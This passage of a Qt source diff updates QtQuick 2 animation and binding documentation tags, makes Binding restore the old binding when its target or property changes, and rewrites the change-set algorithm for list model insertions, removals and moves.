By default, \c loops is 1: the animation will play through once and then stop.
@@ -412,7 +412,7 @@ void QDeclarativeAbstractAnimation::setGroup(QDeclarativeAnimationGroup *g)
}
/*!
- \qmlmethod Animation::start()
+ \qmlmethod QtQuick2::Animation::start()
\brief Starts the animation.
If the animation is already running, calling this method has no effect. The
@@ -424,7 +424,7 @@ void QDeclarativeAbstractAnimation::start()
}
/*!
- \qmlmethod Animation::pause()
+ \qmlmethod QtQuick2::Animation::pause()
\brief Pauses the animation.
If the animation is already paused, calling this method has no effect. The
@@ -436,7 +436,7 @@ void QDeclarativeAbstractAnimation::pause()
}
/*!
- \qmlmethod Animation::resume()
+ \qmlmethod QtQuick2::Animation::resume()
\brief Resumes a paused animation.
If the animation is not paused, calling this method has no effect. The
@@ -448,7 +448,7 @@ void QDeclarativeAbstractAnimation::resume()
}
/*!
- \qmlmethod Animation::stop()
+ \qmlmethod QtQuick2::Animation::stop()
\brief Stops the animation.
If the animation is not running, calling this method has no effect. The
@@ -473,7 +473,7 @@ void QDeclarativeAbstractAnimation::stop()
}
/*!
- \qmlmethod Animation::restart()
+ \qmlmethod QtQuick2::Animation::restart()
\brief Restarts the animation.
This is a convenience method, and is equivalent to calling \c stop() and
@@ -486,7 +486,7 @@ void QDeclarativeAbstractAnimation::restart()
}
/*!
- \qmlmethod Animation::complete()
+ \qmlmethod QtQuick2::Animation::complete()
\brief Stops the animation, jumping to the final property values.
If the animation is not running, calling this method has no effect. The
@@ -562,8 +562,8 @@ void QDeclarativeAbstractAnimation::timelineComplete()
/*!
\qmlclass PauseAnimation QDeclarativePauseAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits Animation
\brief The PauseAnimation element provides a pause for an animation.
@@ -600,7 +600,7 @@ void QDeclarativePauseAnimationPrivate::init()
}
/*!
- \qmlproperty int PauseAnimation::duration
+ \qmlproperty int QtQuick2::PauseAnimation::duration
This property holds the duration of the pause in milliseconds
The default value is 250.
@@ -633,8 +633,8 @@ QAbstractAnimation *QDeclarativePauseAnimation::qtAnimation()
/*!
\qmlclass ColorAnimation QDeclarativeColorAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits PropertyAnimation
\brief The ColorAnimation element animates changes in color values.
@@ -674,7 +674,7 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
}
/*!
- \qmlproperty color ColorAnimation::from
+ \qmlproperty color QtQuick2::ColorAnimation::from
This property holds the color value at which the animation should begin.
For example, the following animation is not applied until a color value
@@ -711,7 +711,7 @@ void QDeclarativeColorAnimation::setFrom(const QColor &f)
}
/*!
- \qmlproperty color ColorAnimation::to
+ \qmlproperty color QtQuick2::ColorAnimation::to
This property holds the color value at which the animation should end.
@@ -737,8 +737,8 @@ void QDeclarativeColorAnimation::setTo(const QColor &t)
/*!
\qmlclass ScriptAction QDeclarativeScriptAction
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits Animation
\brief The ScriptAction element allows scripts to be run during an animation.
@@ -782,7 +782,7 @@ void QDeclarativeScriptActionPrivate::init()
}
/*!
- \qmlproperty script ScriptAction::script
+ \qmlproperty script QtQuick2::ScriptAction::script
This property holds the script to run.
*/
QDeclarativeScriptString QDeclarativeScriptAction::script() const
@@ -798,7 +798,7 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script)
}
/*!
- \qmlproperty string ScriptAction::scriptName
+ \qmlproperty string QtQuick2::ScriptAction::scriptName
This property holds the the name of the StateChangeScript to run.
This property is only valid when ScriptAction is used as part of a transition.
@@ -871,8 +871,8 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
/*!
\qmlclass PropertyAction QDeclarativePropertyAction
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits Animation
\brief The PropertyAction element allows immediate property changes during animation.
@@ -958,10 +958,10 @@ void QDeclarativePropertyAction::setProperty(const QString &n)
}
/*!
- \qmlproperty Object PropertyAction::target
- \qmlproperty list<Object> PropertyAction::targets
- \qmlproperty string PropertyAction::property
- \qmlproperty string PropertyAction::properties
+ \qmlproperty Object QtQuick2::PropertyAction::target
+ \qmlproperty list<Object> QtQuick2::PropertyAction::targets
+ \qmlproperty string QtQuick2::PropertyAction::property
+ \qmlproperty string QtQuick2::PropertyAction::properties
These properties determine the items and their properties that are
affected by this action.
@@ -994,7 +994,7 @@ QDeclarativeListProperty<QObject> QDeclarativePropertyAction::targets()
}
/*!
- \qmlproperty list<Object> PropertyAction::exclude
+ \qmlproperty list<Object> QtQuick2::PropertyAction::exclude
This property holds the objects that should not be affected by this action.
\sa targets
@@ -1006,7 +1006,7 @@ QDeclarativeListProperty<QObject> QDeclarativePropertyAction::exclude()
}
/*!
- \qmlproperty any PropertyAction::value
+ \qmlproperty any QtQuick2::PropertyAction::value
This property holds the value to be set on the property.
If the PropertyAction is defined within a \l Transition or \l Behavior,
@@ -1132,8 +1132,8 @@ void QDeclarativePropertyAction::transition(QDeclarativeStateActions &actions,
/*!
\qmlclass NumberAnimation QDeclarativeNumberAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits PropertyAnimation
\brief The NumberAnimation element animates changes in qreal-type values.
@@ -1181,7 +1181,7 @@ void QDeclarativeNumberAnimation::init()
}
/*!
- \qmlproperty real NumberAnimation::from
+ \qmlproperty real QtQuick2::NumberAnimation::from
This property holds the starting value for the animation.
For example, the following animation is not applied until the \c x value
@@ -1219,7 +1219,7 @@ void QDeclarativeNumberAnimation::setFrom(qreal f)
}
/*!
- \qmlproperty real NumberAnimation::to
+ \qmlproperty real QtQuick2::NumberAnimation::to
This property holds the end value for the animation.
If the NumberAnimation is defined within a \l Transition or \l Behavior,
@@ -1244,8 +1244,8 @@ void QDeclarativeNumberAnimation::setTo(qreal t)
/*!
\qmlclass Vector3dAnimation QDeclarativeVector3dAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits PropertyAnimation
\brief The Vector3dAnimation element animates changes in QVector3d values.
@@ -1273,7 +1273,7 @@ QDeclarativeVector3dAnimation::~QDeclarativeVector3dAnimation()
}
/*!
- \qmlproperty real Vector3dAnimation::from
+ \qmlproperty real QtQuick2::Vector3dAnimation::from
This property holds the starting value for the animation.
If the Vector3dAnimation is defined within a \l Transition or \l Behavior,
@@ -1295,7 +1295,7 @@ void QDeclarativeVector3dAnimation::setFrom(QVector3D f)
}
/*!
- \qmlproperty real Vector3dAnimation::to
+ \qmlproperty real QtQuick2::Vector3dAnimation::to
This property holds the end value for the animation.
If the Vector3dAnimation is defined within a \l Transition or \l Behavior,
@@ -1320,8 +1320,8 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t)
/*!
\qmlclass RotationAnimation QDeclarativeRotationAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits PropertyAnimation
\brief The RotationAnimation element animates changes in rotation values.
@@ -1409,7 +1409,7 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation()
}
/*!
- \qmlproperty real RotationAnimation::from
+ \qmlproperty real QtQuick2::RotationAnimation::from
This property holds the starting value for the animation.
For example, the following animation is not applied until the \c angle value
@@ -1446,7 +1446,7 @@ void QDeclarativeRotationAnimation::setFrom(qreal f)
}
/*!
- \qmlproperty real RotationAnimation::to
+ \qmlproperty real QtQuick2::RotationAnimation::to
This property holds the end value for the animation..
If the RotationAnimation is defined within a \l Transition or \l Behavior,
@@ -1468,7 +1468,7 @@ void QDeclarativeRotationAnimation::setTo(qreal t)
}
/*!
- \qmlproperty enumeration RotationAnimation::direction
+ \qmlproperty enumeration QtQuick2::RotationAnimation::direction
This property holds the direction of the rotation.
Possible values are:
@@ -1564,8 +1564,8 @@ QDeclarativeListProperty<QDeclarativeAbstractAnimation> QDeclarativeAnimationGro
/*!
\qmlclass SequentialAnimation QDeclarativeSequentialAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits Animation
\brief The SequentialAnimation element allows animations to be run sequentially.
@@ -1638,8 +1638,8 @@ void QDeclarativeSequentialAnimation::transition(QDeclarativeStateActions &actio
/*!
\qmlclass ParallelAnimation QDeclarativeParallelAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits Animation
\brief The ParallelAnimation element allows animations to be run in parallel.
@@ -1752,8 +1752,8 @@ void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int
/*!
\qmlclass PropertyAnimation QDeclarativePropertyAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits Animation
\brief The PropertyAnimation element animates changes in property values.
@@ -1838,7 +1838,7 @@ void QDeclarativePropertyAnimationPrivate::init()
}
/*!
- \qmlproperty int PropertyAnimation::duration
+ \qmlproperty int QtQuick2::PropertyAnimation::duration
This property holds the duration of the animation, in milliseconds.
The default value is 250.
@@ -1864,7 +1864,7 @@ void QDeclarativePropertyAnimation::setDuration(int duration)
}
/*!
- \qmlproperty real PropertyAnimation::from
+ \qmlproperty real QtQuick2::PropertyAnimation::from
This property holds the starting value for the animation.
If the PropertyAnimation is defined within a \l Transition or \l Behavior,
@@ -1891,7 +1891,7 @@ void QDeclarativePropertyAnimation::setFrom(const QVariant &f)
}
/*!
- \qmlproperty real PropertyAnimation::to
+ \qmlproperty real QtQuick2::PropertyAnimation::to
This property holds the end value for the animation.
If the PropertyAnimation is defined within a \l Transition or \l Behavior,
@@ -1918,10 +1918,10 @@ void QDeclarativePropertyAnimation::setTo(const QVariant &t)
}
/*!
- \qmlproperty enumeration PropertyAnimation::easing.type
- \qmlproperty real PropertyAnimation::easing.amplitude
- \qmlproperty real PropertyAnimation::easing.overshoot
- \qmlproperty real PropertyAnimation::easing.period
+ \qmlproperty enumeration QtQuick2::PropertyAnimation::easing.type
+ \qmlproperty real QtQuick2::PropertyAnimation::easing.amplitude
+ \qmlproperty real QtQuick2::PropertyAnimation::easing.overshoot
+ \qmlproperty real QtQuick2::PropertyAnimation::easing.period
\brief the easing curve used for the animation.
To specify an easing curve you need to specify at least the type. For some curves you can also specify
@@ -2179,10 +2179,10 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop)
}
/*!
- \qmlproperty string PropertyAnimation::properties
- \qmlproperty list<Object> PropertyAnimation::targets
- \qmlproperty string PropertyAnimation::property
- \qmlproperty Object PropertyAnimation::target
+ \qmlproperty string QtQuick2::PropertyAnimation::properties
+ \qmlproperty list<Object> QtQuick2::PropertyAnimation::targets
+ \qmlproperty string QtQuick2::PropertyAnimation::property
+ \qmlproperty Object QtQuick2::PropertyAnimation::target
These properties are used as a set to determine which properties should be animated.
The singular and plural forms are functionally identical, e.g.
@@ -2275,7 +2275,7 @@ QDeclarativeListProperty<QObject> QDeclarativePropertyAnimation::targets()
}
/*!
- \qmlproperty list<Object> PropertyAnimation::exclude
+ \qmlproperty list<Object> QtQuick2::PropertyAnimation::exclude
This property holds the items not to be affected by this animation.
\sa PropertyAnimation::targets
*/
diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp
index 8587ccb4fb..84636e4701 100644
--- a/src/declarative/util/qdeclarativebehavior.cpp
+++ b/src/declarative/util/qdeclarativebehavior.cpp
@@ -72,8 +72,8 @@ public:
/*!
\qmlclass Behavior QDeclarativeBehavior
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\brief The Behavior element allows you to specify a default animation for a property change.
A Behavior defines the default animation to be applied whenever a
@@ -108,7 +108,7 @@ QDeclarativeBehavior::~QDeclarativeBehavior()
}
/*!
- \qmlproperty Animation Behavior::animation
+ \qmlproperty Animation QtQuick2::Behavior::animation
\default
This property holds the animation to run when the behavior is triggered.
@@ -149,7 +149,7 @@ void QDeclarativeBehavior::qtAnimationStateChanged(QAbstractAnimation::State new
/*!
- \qmlproperty bool Behavior::enabled
+ \qmlproperty bool QtQuick2::Behavior::enabled
This property holds whether the behavior will be triggered when the tracked
property changes value.
diff --git a/src/declarative/util/qdeclarativebind.cpp b/src/declarative/util/qdeclarativebind.cpp
index fa463ebef8..ba120b959a 100644
--- a/src/declarative/util/qdeclarativebind.cpp
+++ b/src/declarative/util/qdeclarativebind.cpp
@@ -44,6 +44,7 @@
#include "private/qdeclarativenullablevalue_p_p.h"
#include "private/qdeclarativeproperty_p.h"
#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativeguard_p.h"
#include <qdeclarativeengine.h>
#include <qdeclarativecontext.h>
@@ -67,7 +68,7 @@ public:
QDeclarativeNullableValue<bool> when;
bool componentComplete;
- QObject *obj;
+ QDeclarativeGuard<QObject> obj;
QString propName;
QDeclarativeNullableValue<QVariant> value;
QDeclarativeProperty prop;
@@ -77,8 +78,8 @@ public:
/*!
\qmlclass Binding QDeclarativeBind
+ \inqmlmodule QtQuick 2
\ingroup qml-working-with-data
- \since 4.7
\brief The Binding element allows arbitrary property bindings to be created.
\section1 Binding to an inaccessible property
@@ -151,7 +152,7 @@ QDeclarativeBind::~QDeclarativeBind()
}
/*!
- \qmlproperty bool Binding::when
+ \qmlproperty bool QtQuick2::Binding::when
This property holds when the binding is active.
This should be set to an expression that evaluates to true when you want the binding to be active.
@@ -183,7 +184,7 @@ void QDeclarativeBind::setWhen(bool v)
}
/*!
- \qmlproperty Object Binding::target
+ \qmlproperty Object QtQuick2::Binding::target
The object to be updated.
*/
@@ -196,9 +197,12 @@ QObject *QDeclarativeBind::object()
void QDeclarativeBind::setObject(QObject *obj)
{
Q_D(QDeclarativeBind);
- if (d->obj && d->obj != obj) {
- qmlInfo(this) << tr("Cannot change the object assigned to a Binding.");
- return;
+ if (d->obj && d->when.isValid() && d->when) {
+ /* if we switch the object at runtime, we need to restore the
+ previous binding on the old object before continuing */
+ d->when = false;
+ eval();
+ d->when = true;
}
d->obj = obj;
if (d->componentComplete)
@@ -207,7 +211,7 @@ void QDeclarativeBind::setObject(QObject *obj)
}
/*!
- \qmlproperty string Binding::property
+ \qmlproperty string QtQuick2::Binding::property
The property to be updated.
*/
@@ -220,9 +224,12 @@ QString QDeclarativeBind::property() const
void QDeclarativeBind::setProperty(const QString &p)
{
Q_D(QDeclarativeBind);
- if (!d->propName.isEmpty() && d->propName != p) {
- qmlInfo(this) << tr("Cannot change the property assigned to a Binding.");
- return;
+ if (!d->propName.isEmpty() && d->when.isValid() && d->when) {
+ /* if we switch the property name at runtime, we need to restore the
+ previous binding on the old object before continuing */
+ d->when = false;
+ eval();
+ d->when = true;
}
d->propName = p;
if (d->componentComplete)
@@ -231,7 +238,7 @@ void QDeclarativeBind::setProperty(const QString &p)
}
/*!
- \qmlproperty any Binding::value
+ \qmlproperty any QtQuick2::Binding::value
The value to be set on the target object and property. This can be a
constant (which isn't very useful), or a bound expression.
diff --git a/src/declarative/util/qdeclarativechangeset.cpp b/src/declarative/util/qdeclarativechangeset.cpp
index 737031be05..a10693f525 100644
--- a/src/declarative/util/qdeclarativechangeset.cpp
+++ b/src/declarative/util/qdeclarativechangeset.cpp
@@ -41,379 +41,383 @@
#include "qdeclarativechangeset_p.h"
-void QDeclarativeChangeSet::insertInsert(int start, int end)
+QDeclarativeChangeSet::QDeclarativeChangeSet()
+ : m_moveCounter(0)
{
- const int count = end - start;
-
- // Moved signals.
- QVector<Move>::iterator move = m_moves.begin();
- for (; move != m_moves.end() && start >= move->maximum(); ++move) {}
- for (; move != m_moves.end() && end >= move->minimum(); ++move) {
- if (start <= move->tstart) {
- move->tstart += count;
- move->tend += count;
- } else if (start < move->tend) {
- int relativeStart = start - move->tstart;
-
- move = m_moves.insert(move, Move(
- move->fstart + count, move->fstart + count + relativeStart, move->tstart));
- ++move;
- move->fstart += relativeStart;
- move->tstart += count + relativeStart;
- move->tend += count;
-
- start -= relativeStart;
- end -= relativeStart;
- } else {
- start -= move->count();
- end -= move->count();
- }
+}
- if (start <= move->fstart) {
- move->fstart += count;
- move->fend += count;
- } else if (start < move->tstart) {
- start += move->count();
- end += move->count();
- }
+QDeclarativeChangeSet::QDeclarativeChangeSet(const QDeclarativeChangeSet &changeSet)
+ : m_removes(changeSet.m_removes)
+ , m_inserts(changeSet.m_inserts)
+ , m_changes(changeSet.m_changes)
+ , m_moveCounter(changeSet.m_moveCounter)
+{
+}
- }
- for (; move != m_moves.end(); ++move) {
- move->fstart += count;
- move->fend += count;
- move->tstart += count;
- move->tend += count;
- }
+QDeclarativeChangeSet::~QDeclarativeChangeSet()
+{
+}
- // Inserted signals.
- QVector<Insert>::iterator insert = m_inserts.begin();
- for (; insert != m_inserts.end(); ++insert) {
- if (start < insert->start) {
- insert = m_inserts.insert(insert, Insert(start, end));
- break;
- } else if (start <= insert->end) {
- insert->end += count;
- break;
- }
- }
- if (insert == m_inserts.end()) {
- m_inserts.append(Insert(start, end));
- } else for (++insert; insert != m_inserts.end(); ++insert) {
- insert->start += count;
- insert->end += count;
- }
+QDeclarativeChangeSet &QDeclarativeChangeSet::operator =(const QDeclarativeChangeSet &changeSet)
+{
+ m_removes = changeSet.m_removes;
+ m_inserts = changeSet.m_inserts;
+ m_changes = changeSet.m_changes;
+ m_moveCounter = changeSet.m_moveCounter;
+ return *this;
+}
+void QDeclarativeChangeSet::insert(int index, int count)
+{
+ applyInsertions(QVector<Insert>() << Insert(index, count));
+}
- // Changed signals.
- QVector<Change>::iterator change = m_changes.begin();
- for (; change != m_changes.end() && start != change->start && start < change->end; ++change) {
- if (start > change->start) {
- int relativeStart = start - change->start;
- change = m_changes.insert(change, Change(change->start, change->start + relativeStart));
- ++change;
- change->start += count + relativeStart;
- change->end += count - relativeStart;
- break;
- }
- }
- for (; change != m_changes.end(); ++change) {
- change->start += count;
- change->end += count;
- }
+void QDeclarativeChangeSet::remove(int index, int count)
+{
+ QVector<Insert> i;
+ applyRemovals(QVector<Remove>() << Remove(index, count), i);
}
-void QDeclarativeChangeSet::insertRemove(int start, int end)
+void QDeclarativeChangeSet::move(int from, int to, int count)
{
- // Changed Signals.
- QVector<Change>::iterator change = m_changes.begin();
- for (; change != m_changes.end() && start >= change->end; ++change) {}
- for (; change != m_changes.end() && end < change->start; ++change) {
- const int removeCount = qMin(change->end, end) - qMax(change->start, start);
- change->end -= removeCount;
- if (change->start == change->end) {
- change = m_changes.erase(change);
- } else if (start < change->start) {
- change->start = start;
- }
- }
- const int count = end - start;
- for (; change != m_changes.end(); ++change) {
- change->start -= count;
- change->end -= count;
- }
+ apply(QVector<Remove>() << Remove(from, count, -2), QVector<Insert>() << Insert(to, count, -2));
+}
- QVector<Remove> removeChanges;
-
- // Moved signals.
- QVector<Move>::iterator move = m_moves.begin();
- for (; move != m_moves.end() && start >= move->maximum(); ++move) {}
- for (; move != m_moves.end() && end >= move->minimum(); ++move) {
- if (move->fstart < move->tstart) {
- if (start < move->fstart) {
- const int difference = move->fstart - start;
- move->fend -= difference;
- move->fstart = start;
- move->tstart -= difference;
- move->tend -= difference;
-
- removeChanges.append(Remove(start, start + difference));
- end -= difference;
- }
- if (end < move->tstart) {
- move->tstart -= end - start;
- move->tend -= end - start;
- } else if (start < move->tend) {
- const int difference = qMin(move->tend, end) - move->tstart;
- removeChanges.append(Remove(
- move->fstart , move->fstart + difference));
- end -= difference;
-
- move->fend -= difference;
- move->tstart -= end - start;
- move->tend -= end - start + difference;
- }
- start += move->count();
- end += move->count();
- } else {
- if (start < move->tend) {
- const int offset = qMax(0, start - move->tstart);
- const int difference = qMin(move->tend, end) - qMax(move->tstart, start);
-
- removeChanges.append(Remove(
- move->fstart + offset, move->fstart + offset + difference));
- start -= offset;
- end -= offset + difference;
-
- move->fend -= difference;
- move->tstart = start;
- move->tend = start + move->fend - move->fstart;
- } else {
- start -= move->count();
- end -= move->count();
- }
+void QDeclarativeChangeSet::change(int index, int count)
+{
+ applyChanges(QVector<Change>() << Change(index, count));
+}
+
+void QDeclarativeChangeSet::apply(const QDeclarativeChangeSet &changeSet)
+{
+ apply(changeSet.m_removes, changeSet.m_inserts, changeSet.m_changes);
+}
+
+void QDeclarativeChangeSet::apply(const QVector<Remove> &removals)
+{
+ QVector<Remove> r = removals;
+ QVector<Insert> i;
+ applyRemovals(r, i);
+}
+
+void QDeclarativeChangeSet::apply(const QVector<Insert> &insertions)
+{
+ QVector<Insert> i = insertions;
+ applyInsertions(i);
+}
- move->fstart -= end - start;
- move->fend -= end - start;
-
- if (start > move->fstart) {
- const int offset = start - move->fstart;
- const int difference = qMin(move->fend, end) - start;
- removeChanges.append(Remove(
- move->fstart + end - start + offset + difference ,
- move->fend + end - start + offset));
- end -= offset;
- move->fstart += offset;
- move->fend += offset;
+void QDeclarativeChangeSet::apply(const QVector<Change> &changes)
+{
+ QVector<Change> c = changes;
+ applyChanges(c);
+}
+
+void QDeclarativeChangeSet::apply(const QVector<Remove> &removals, const QVector<Insert> &insertions, const QVector<Change> &changes)
+{
+ QVector<Remove> r = removals;
+ QVector<Insert> i = insertions;
+ QVector<Change> c = changes;
+ applyRemovals(r, i);
+ applyInsertions(i);
+ applyChanges(c);
+}
+
+void QDeclarativeChangeSet::applyRemovals(QVector<Remove> &removals, QVector<Insert> &insertions)
+{
+ int removeCount = 0;
+ int insertCount = 0;
+ QVector<Insert>::iterator insert = m_inserts.begin();
+ QVector<Change>::iterator change = m_changes.begin();
+ QVector<Remove>::iterator rit = removals.begin();
+ for (; rit != removals.end(); ++rit) {
+ int index = rit->index + removeCount;
+ int count = rit->count;
+
+ QVector<Insert>::iterator iit = insertions.begin();
+ for (; rit->moveId != -1 && iit != insertions.end() && iit->moveId != rit->moveId; ++iit) {}
+ for (; change != m_changes.end() && change->end() < rit->index; ++change) {}
+ for (; change != m_changes.end() && change->index > rit->end(); ++change) {
+ change->count -= qMin(change->end(), rit->end()) - qMax(change->index, rit->index);
+ if (change->count == 0) {
+ change = m_changes.erase(change);
+ } else if (rit->index < change->index) {
+ change->index = rit->index;
}
}
-
- if (move->tstart == move->tend || move->fstart == move->tstart) {
- move = m_moves.erase(move);
- --move;
+ for (; insert != m_inserts.end() && insert->end() <= index; ++insert) {
+ insertCount += insert->count;
+ insert->index -= removeCount;
}
- }
- for (; move != m_moves.end(); ++move) {
- move->fstart -= count;
- move->fend -= count;
- move->tstart -= count;
- move->tend -= count;
- }
+ for (; insert != m_inserts.end() && insert->index < index + count; ++insert) {
+ const int offset = insert->index - index;
+ const int difference = qMin(insert->end(), index + count) - qMax(insert->index, index);
+ const int moveId = rit->moveId != -1 ? m_moveCounter++ : -1;
+ if (insert->moveId != -1) {
+ QVector<Remove>::iterator remove = m_removes.begin();
+ for (; remove != m_removes.end() && remove->moveId != insert->moveId; ++remove) {}
+ Q_ASSERT(remove != m_removes.end());
+ const int offset = index - insert->index;
+ if (rit->moveId != -1 && offset < 0) {
+ const int moveId = m_moveCounter++;
+ iit = insertions.insert(iit, Insert(iit->index, -offset, moveId));
+ ++iit;
+ iit->index += -offset;
+ iit->count -= -offset;
+ rit = removals.insert(rit, Remove(rit->index, -offset, moveId));
+ ++rit;
+ rit->count -= -offset;
+ }
+
+ if (offset > 0) {
+ const int moveId = m_moveCounter++;
+ insert = m_inserts.insert(insert, Insert(insert->index, offset, moveId));
+ ++insert;
+ insert->index += offset;
+ insert->count -= offset;
+ remove = m_removes.insert(remove, Remove(remove->index, offset, moveId));
+ ++remove;
+ remove->count -= offset;
+ rit->index -= offset;
+ index += offset;
+ count -= offset;
+ }
- if (start != end)
- removeChanges.append(Remove(start, end));
+ if (remove->count == difference) {
+ remove->moveId = moveId;
+ } else {
+ remove = m_removes.insert(remove, Remove(remove->index, difference, moveId));
+ ++remove;
+ remove->count -= difference;
+ }
+ } else if (rit->moveId != -1 && offset > 0) {
+ const int moveId = m_moveCounter++;
+ iit = insertions.insert(iit, Insert(iit->index, offset, moveId));
+ ++iit;
+ iit->index += offset;
+ iit->count -= offset;
+ rit = removals.insert(rit, Remove(rit->index, offset, moveId));
+ ++rit;
+ rit->count -= offset;
+ index += offset;
+ count -= offset;
+ }
- foreach (const Remove &r, removeChanges) {
- int start = r.start;
- int end = r.end;
+ if (rit->moveId != -1 && difference > 0) {
+ iit = insertions.insert(iit, Insert(iit->index, difference, moveId));
+ ++iit;
+ iit->index += difference;
+ iit->count -= difference;
+ }
- QVector<Insert>::iterator insert = m_inserts.end() - 1;
- for (const int count = end - start; insert != m_inserts.begin() - 1 && insert->start >= end; --insert) {
- insert->start -= count;
- insert->end -= count;
- }
- for (; insert != m_inserts.begin() - 1 && insert->end > start; --insert) {
- const int removeCount = qMin(insert->end, end) - qMax(insert->start, start);
- insert->end -= removeCount;
- if (insert->start == insert->end) {
+ insert->count -= difference;
+ rit->count -= difference;
+ if (insert->count == 0) {
insert = m_inserts.erase(insert);
- } else if (start < insert->start) {
- insert->end -= insert->start - start;
- insert->start = start;
+ --insert;
+ } else if (index <= insert->index) {
+ insert->index = rit->index;
} else {
- start -= insert->count();
- end -= insert->count();
+ rit->index -= insert->count;
}
- end -= removeCount;
- if (start == end)
- return;
- }
- // Adjust the index to compensate for any inserts prior to the remove position..
- for (; insert != m_inserts.begin() - 1; --insert) {
- start -= insert->count();
- end -= insert->count();
+ index += difference;
+ count -= difference;
+ removeCount += difference;
}
+ rit->index -= insertCount;
+ removeCount += rit->count;
+
+ if (rit->count == 0) {
+ if (rit->moveId != -1 && iit->count == 0)
+ insertions.erase(iit);
+ rit = removals.erase(rit);
+ --rit;
+ } else if (rit->moveId != -1) {
+ const int moveId = m_moveCounter++;
+ rit->moveId = moveId;
+ iit->moveId = moveId;
+ }
+ }
+ for (; change != m_changes.end(); ++change)
+ change->index -= removeCount;
+ for (; insert != m_inserts.end(); ++insert)
+ insert->index -= removeCount;
+
+ removeCount = 0;
+ QVector<Remove>::iterator remove = m_removes.begin();
+ for (rit = removals.begin(); rit != removals.end(); ++rit) {
+ QVector<Insert>::iterator iit = insertions.begin();
+ int index = rit->index + removeCount;
+ for (; rit->moveId != -1 && iit != insertions.end() && iit->moveId != rit->moveId; ++iit) {}
+ for (; remove != m_removes.end() && index > remove->index; ++remove)
+ remove->index -= removeCount;
+ while (remove != m_removes.end() && index + rit->count > remove->index) {
+ int count = 0;
+ const int offset = remove->index - index - removeCount;
+ QVector<Remove>::iterator rend = remove;
+ for (; rend != m_removes.end()
+ && rit->moveId == -1
+ && rend->moveId == -1
+ && rit->index + rit->count > rend->index; ++rend) {
+ count += rend->count;
+ }
+ if (remove != rend) {
+ const int difference = rend == m_removes.end() || rit->index + rit->count < rend->index - removeCount
+ ? rit->count
+ : offset;
+ count += difference;
+
+ index += difference;
+ rit->count -= difference;
+ removeCount += difference;
+
+ remove->index = rit->index;
+ remove->count = count;
+ remove = m_removes.erase(++remove, rend);
+ } else if (rit->moveId != -1) {
+ if (offset > 0) {
+ const int moveId = m_moveCounter++;
+ iit = insertions.insert(iit, Insert(iit->index, offset, moveId));
+ ++iit;
+ iit->index += offset;
+ iit->count -= offset;
+ remove = m_removes.insert(remove, Remove(rit->index, offset, moveId));
+ ++remove;
+ rit->count -= offset;
+ }
+ remove->index = rit->index;
+ index += offset;
+ removeCount += offset;
- // Removed signals.
- QVector<Remove>::iterator remove = m_removes.begin();
- for (; remove != m_removes.end(); ++remove) {
- if (end < remove->start) {
- remove = m_removes.insert(remove, Remove(start, end));
- break;
- } else if (start <= remove->start) {
- remove->end += end - remove->start;
- remove->start = start;
-
- QVector<Remove>::iterator rbegin = remove;
- QVector<Remove>::iterator rend = ++rbegin;
- for (; rend != m_removes.end() && rend->start <= remove->end; ++rend)
- remove->end += rend->count();
- if (rbegin != rend) {
- remove = m_removes.erase(rbegin, rend);
+ ++remove;
+ } else {
+ if (offset > 0) {
+ remove = m_removes.insert(remove, Remove(rit->index, offset));
+ ++remove;
+ rit->count -= offset;
}
- break;
+ remove->index = rit->index;
+ index += offset;
+ removeCount += offset;
+
+ ++remove;
}
+ index += count;
+ rit->count -= count;
}
- if (remove != m_removes.end()) {
- const int count = end - start;
- for (++remove; remove != m_removes.end(); ++remove) {
- remove->start -= count;
- remove->end -= count;
- }
- } else {
- m_removes.append(Remove(start, end));
+
+ if (rit->count > 0) {
+ remove = m_removes.insert(remove, *rit);
+ ++remove;
}
+ removeCount += rit->count;
}
+ for (; remove != m_removes.end(); ++remove)
+ remove->index -= removeCount;
}
-void QDeclarativeChangeSet::insertMove(int start, int end, int to)
+void QDeclarativeChangeSet::applyInsertions(QVector<Insert> &insertions)
{
- QVector<Insert> insertChanges;
- QVector<Move> moveChanges;
-
- int fStart = start;
- int fTo = to;
- int fEnd = end;
- int &bStart = fTo;
- int bEnd = to + end - start;
-
- if (start > to) {
- qSwap(fStart, bStart);
- qSwap(fEnd, bEnd);
- }
-
- // Inserted signals.
+ int insertCount = 0;
QVector<Insert>::iterator insert = m_inserts.begin();
- if (start < to) {
- for (; insert != m_inserts.end() && fStart >= insert->end; ++insert) {}
- for (; insert != m_inserts.end() && fEnd > insert->start; ++insert) {
- const int removeCount = qMin(insert->end, fEnd) - qMax(insert->start, fStart);
- const int relativeStart = fStart - insert->start;
- const int relativeEnd = qMax(0, fEnd - insert->end);
-
- insert->end -= removeCount;
- if (insert->start == insert->end) {
- insert = m_inserts.erase(insert);
- --insert;
- }
-
- if (relativeStart < 0) {
- moveChanges.append(Move(fStart, fStart - relativeStart, fTo + relativeEnd));
- fTo -= relativeStart;
- }
-
- fTo += removeCount;
- insertChanges.append(Insert(bEnd - removeCount, bEnd));
+ QVector<Change>::iterator change = m_changes.begin();
+ for (QVector<Insert>::iterator iit = insertions.begin(); iit != insertions.end(); ++iit) {
